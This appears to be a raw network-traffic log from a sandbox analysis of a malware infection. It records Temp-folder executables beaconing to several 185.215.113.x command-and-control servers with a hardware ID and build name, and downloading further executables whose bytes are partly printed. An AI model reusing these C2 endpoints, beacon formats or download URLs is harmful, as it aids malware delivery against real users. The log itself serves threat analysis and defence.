Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49956	185.215.113.206	80	7932	C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:53:40.109330893 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:53:41.033365965 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:53:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:53:41.048394918 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build"puma------GDBFCGIIIJDBGCBGIDGI--
Oct 26, 2024 08:53:41.342102051 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:53:41 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49979	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:53:51.051578999 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:53:51.976042032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:53:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49980	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:53:53.567162037 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:53:54.488456011 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:53:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 36 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 36 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 36 33 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 36 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001633001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001634001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001635001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001636001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49981	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:53:54.498200893 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 08:53:55.408138990 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:53:55 GMT Content-Type: application/octet-stream Content-Length: 3008000 Last-Modified: Sat, 26 Oct 2024 06:48:28 GMT Connection: keep-alive ETag: "671c90bc-2de600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 b7 e1 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@ 1.@Th ~@.rsrc @.idata @qawnjwpo0+.+@ogiigyxs0-@.taggant00"-@
Oct 26, 2024 08:53:55.408162117 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:53:55.408171892 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:53:55.408199072 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:53:55.408212900 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:53:55.408220053 CEST	1236	IN	Data Raw: 5a a5 77 11 ca a6 4a b7 4f 67 c6 9f 4d f0 b3 84 5b 68 71 d0 b3 2c 0b 4d 7c 68 51 0f 0e dc 8b b8 0b 63 57 b9 44 e0 88 f5 ac 5b 01 6e a4 72 a9 6a 40 87 9e 07 b3 5a 69 ec 07 fa 83 1b 82 6f 2f 6e a0 fd 11 13 30 55 5d 3e 81 84 21 a6 3d c5 98 d7 77 d9 Data Ascii: ZwJOgM[hq,M\|hQcWD[nrj@Zio/n0U]>!=wUj30K_r`hAD/4IgiwMb '/Xm^lv/%8\ JE^9e QuqT\|M-np8]JY}=^[yd]~M
Oct 26, 2024 08:53:55.408247948 CEST	1236	IN	Data Raw: db 82 58 e5 39 dd d5 71 7a be 71 9d fb eb 24 b7 35 6d 05 77 fe 6e c5 1c 78 79 54 fe e6 2f a7 09 a2 8e 98 f6 82 58 8b d1 0f f0 d0 69 7c 6f 65 0e 47 0e 0b 0f 44 6d 52 88 7b d7 2a 29 45 6b c4 55 ef 77 bf 93 f8 93 62 9c aa 59 4a 13 70 d5 dd d8 81 9b Data Ascii: X9qzq$5mwnxyT/Xi\|oeGDmR{)EkUwbYJpqM4<C3w{~8}utm^]H~pSjlN[iRFniN!2+{qQZf{\|jbcp+T^e}I]GlXB;ysg^Yr
Oct 26, 2024 08:53:55.408261061 CEST	1236	IN	Data Raw: 2f a0 0b 4c bb 00 23 5d 44 5e a8 0b 3a 94 e8 40 4e c4 78 92 fd a3 61 95 6b 93 70 9b 6b bf 8c 1b c1 29 c3 a8 4b 96 f9 55 28 d2 7a bc 0e d8 73 4e 38 bd 54 f8 4e e0 8c 08 b8 e1 65 65 17 4d a7 2e b2 8d 82 45 83 8c 5d 57 07 70 7a 18 2e 8a f1 5c c4 09 Data Ascii: /L#]D^:@Nxakpk)KU(zsN8TNeeM.E]Wpz.\A'gM[H=@o@B.wQVmM\c^y~w]9)*q\chymB~l_ZudLq.`,q9qn6H85KVkopZBsSJ-d:qx\,Gw
Oct 26, 2024 08:53:55.408272982 CEST	560	IN	Data Raw: 13 4f 7e dc 72 79 08 0b 52 6d 04 e7 fa 7f 5d 63 71 52 d6 a6 55 b3 29 8c f5 47 dc d1 71 df 9d 40 e5 b0 40 57 c5 fb d4 94 0c bc b9 69 bf 91 b1 9c 56 0a ba e2 67 eb 6d 7a b5 67 37 bc 55 7e 31 b4 b2 82 82 1f 84 8d 65 c1 40 d9 99 1e c7 29 c1 4f 11 55 Data Ascii: O~ryRm]cqRU)Gq@@WiVgmzg7U~1e@)OUn>MQ}^]Ed(Mm1QTmde3kN&anHvxY\Lf@_ d\|yp1!HODI_6m5Lq-p)Y}UE.@[!BP*
Oct 26, 2024 08:53:55.408283949 CEST	1236	IN	Data Raw: 2d 8e 35 ae 89 c2 b3 f0 a6 30 3c ac d5 ed 16 b1 cf a4 6a 8f ab be db ef 1a 3c c8 57 79 2f c9 17 bb de 54 46 7b f0 05 6b db f0 f8 f9 24 54 60 8e a6 ba d1 17 01 6b 15 ec 19 75 a8 3a 97 e6 8b 90 bf cc 78 94 7e 41 15 24 5c 1d ef d5 60 ca fb 0e df 3b Data Ascii: -50<j<Wy/TF{k$T`ku:x~A$\`;1_gmI,Y/?YVO0=lYW={=x&^kIs6q[,)w6]j>;qy=yw{=\|-NQQ'\-~!!hvWtp:`
Oct 26, 2024 08:53:55.413597107 CEST	1236	IN	Data Raw: 75 7c 46 70 7c fc b1 19 e0 88 2b ed 12 62 7e ae 16 6a d6 1e 8b 95 10 2c f5 7d 90 01 b0 44 a0 86 65 3b 5e 1e 84 df 6c fa 51 3f d0 5f 2b c5 54 4e a8 0e e9 96 0e 79 a6 0f d6 39 a1 67 44 44 42 69 4d ab 3a 93 bb 3d 88 09 49 3d 14 fb 1a 96 22 d2 f5 63 Data Ascii: u\|Fp\|+b~j,}De;^lQ?_+TNy9gDDBiM:=I="cU~LWV}8VD}eQDKldu^m%ho((JqPP\|)ocB'a_k2oKe@}\|mEoMS\-+1)/N.uKZv~=ZJI'{-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49983	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:04.251009941 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001633001&unit=246122658369
Oct 26, 2024 08:54:05.180533886 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49984	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:05.193345070 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 08:54:06.121057034 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:05 GMT Content-Type: application/octet-stream Content-Length: 1872384 Last-Modified: Sat, 26 Oct 2024 06:48:34 GMT Connection: keep-alive ETag: "671c90c2-1c9200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$j@j @P%d% %(@.rsrc %8@.idata %8@ *%:@seldsqgz0P.<@ogrbyegijj@.taggant0j"p@
Oct 26, 2024 08:54:06.121107101 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:06.121162891 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:06.121203899 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:06.121236086 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:06.121275902 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:06.121314049 CEST	112	IN	Data Raw: d3 06 17 4d 54 99 87 aa 3f 3c ab d5 54 6c 49 87 3e e7 64 16 88 e2 ed 8d 2e 53 b3 6e d0 65 49 aa ea f0 b3 68 d0 2d d7 e2 df bb 81 fa 1f da 33 c2 56 95 08 c3 87 ed 45 cd 75 f5 f2 82 6b 92 fe c6 35 ef 12 0b e4 bf cf 04 11 58 89 46 ec f2 e7 7e f8 dc Data Ascii: MT?<TlI>d.SneIh-3VEuk5XF~Ian$_gSqk?4LVs
Oct 26, 2024 08:54:06.121345997 CEST	1236	IN	Data Raw: 4c b6 ef 9d 0f e4 46 d8 bf 2b 84 6e c7 ab c6 b4 d1 b3 eb 98 88 59 ed ca ff 11 07 d6 8d c0 95 23 05 20 d2 9d 1b 6b 3a fe d5 2c 7b 82 1b 5f 4c e8 40 2b 7b cd 59 82 4b dc 47 85 4d ae 4c 83 74 c4 db 60 6f d7 38 c2 43 c4 4c a6 58 a7 43 f0 67 7d 40 d3 Data Ascii: LF+nY# k:,{_L@+{YKGMLt`o8CLXCg}@zaZKmW8or7vkxK]I@kgYZj3;$gP[{S}?&;x;Ot'p\|cpkYwt[cDJ\|NucYMBAM'jA~o_McL`lE
Oct 26, 2024 08:54:06.121378899 CEST	212	IN	Data Raw: 59 19 fc da 10 5c 78 20 ce 5a 23 1e ff e9 ea 17 53 19 68 83 85 db d2 87 fb eb 85 29 50 61 0c 5e 50 31 f2 78 09 d8 7c 0a e0 10 7e de e0 bb cc 1d d8 3b 47 0e 5e bb 5d 70 ae 36 08 b0 cf ed 37 35 63 df fa 98 b8 a1 0a 20 cc 44 7a 5e 15 24 67 a0 ed f5 Data Ascii: Y\x Z#Sh)Pa^P1x\|~;G^]p675c Dz^$gy@+jP$tS7oT\|=^`Y!4dh>;z`2c{@!y:0]M+,&6I8H#isF[5
Oct 26, 2024 08:54:06.121414900 CEST	1236	IN	Data Raw: 4d 03 60 8c 7f cb f7 e6 56 e1 b3 c1 3e c4 95 80 63 3a 5b da ac e6 35 84 07 8f 82 a7 bb ec 5c 4a 84 40 5a 1e 57 e9 ef 96 55 f7 7f 6b 64 4b 07 c4 ab ba 8a 1a f0 c9 13 2e 1c 57 68 9a 3d f9 2f 07 59 e5 33 46 68 ab 07 c9 a2 d4 9b ca 93 03 ac 09 79 e3 Data Ascii: M`V>c:[5\J@ZWUkdK.Wh=/Y3Fhy=gX.oe3XgyG("\~XHf<~_HG+\b>xxzZ#M2?MVA`A*A3^hj?Fm~T(eGW~e#GRh7h(Yn7Ko
Oct 26, 2024 08:54:06.126832008 CEST	1236	IN	Data Raw: b5 40 1a a0 cf be fb 8e 3e 5c e1 53 2e bc f3 95 b7 75 ac 17 6c f9 fe 3d dc f4 bf a3 22 d3 87 28 b1 a6 f7 75 59 15 48 9e 29 65 3e 06 2f 65 73 b7 47 1b 83 c9 54 c3 17 ea 27 f2 fb c6 58 89 7a 8a 53 af 07 16 bf 2b fc 8e bf 5f 6c 5d 4b e3 ff 26 ce e6 Data Ascii: @>\S.ul="(uYH)e>/esGT'XzS+_l]K&{X_*K&Y/o(e-bxXWg%LK3mctQ0:yw&Y3Ml\|@O_Mz?m\WSmi!VjD;({uJ@p:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49989	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:13.964567900 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001634001&unit=246122658369
Oct 26, 2024 08:54:14.750685930 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49991	185.215.113.206	80	4332	C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:14.356851101 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:54:15.252494097 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:54:15.258248091 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="build"puma------AECFCAAECBGDGDHIEHJE--
Oct 26, 2024 08:54:15.537806988 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49992	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:14.760499001 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 08:54:15.679261923 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:15 GMT Content-Type: application/octet-stream Content-Length: 919040 Last-Modified: Sat, 26 Oct 2024 05:55:58 GMT Connection: keep-alive ETag: "671c846e-e0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 66 84 1c 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELfg"Vw@`[@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
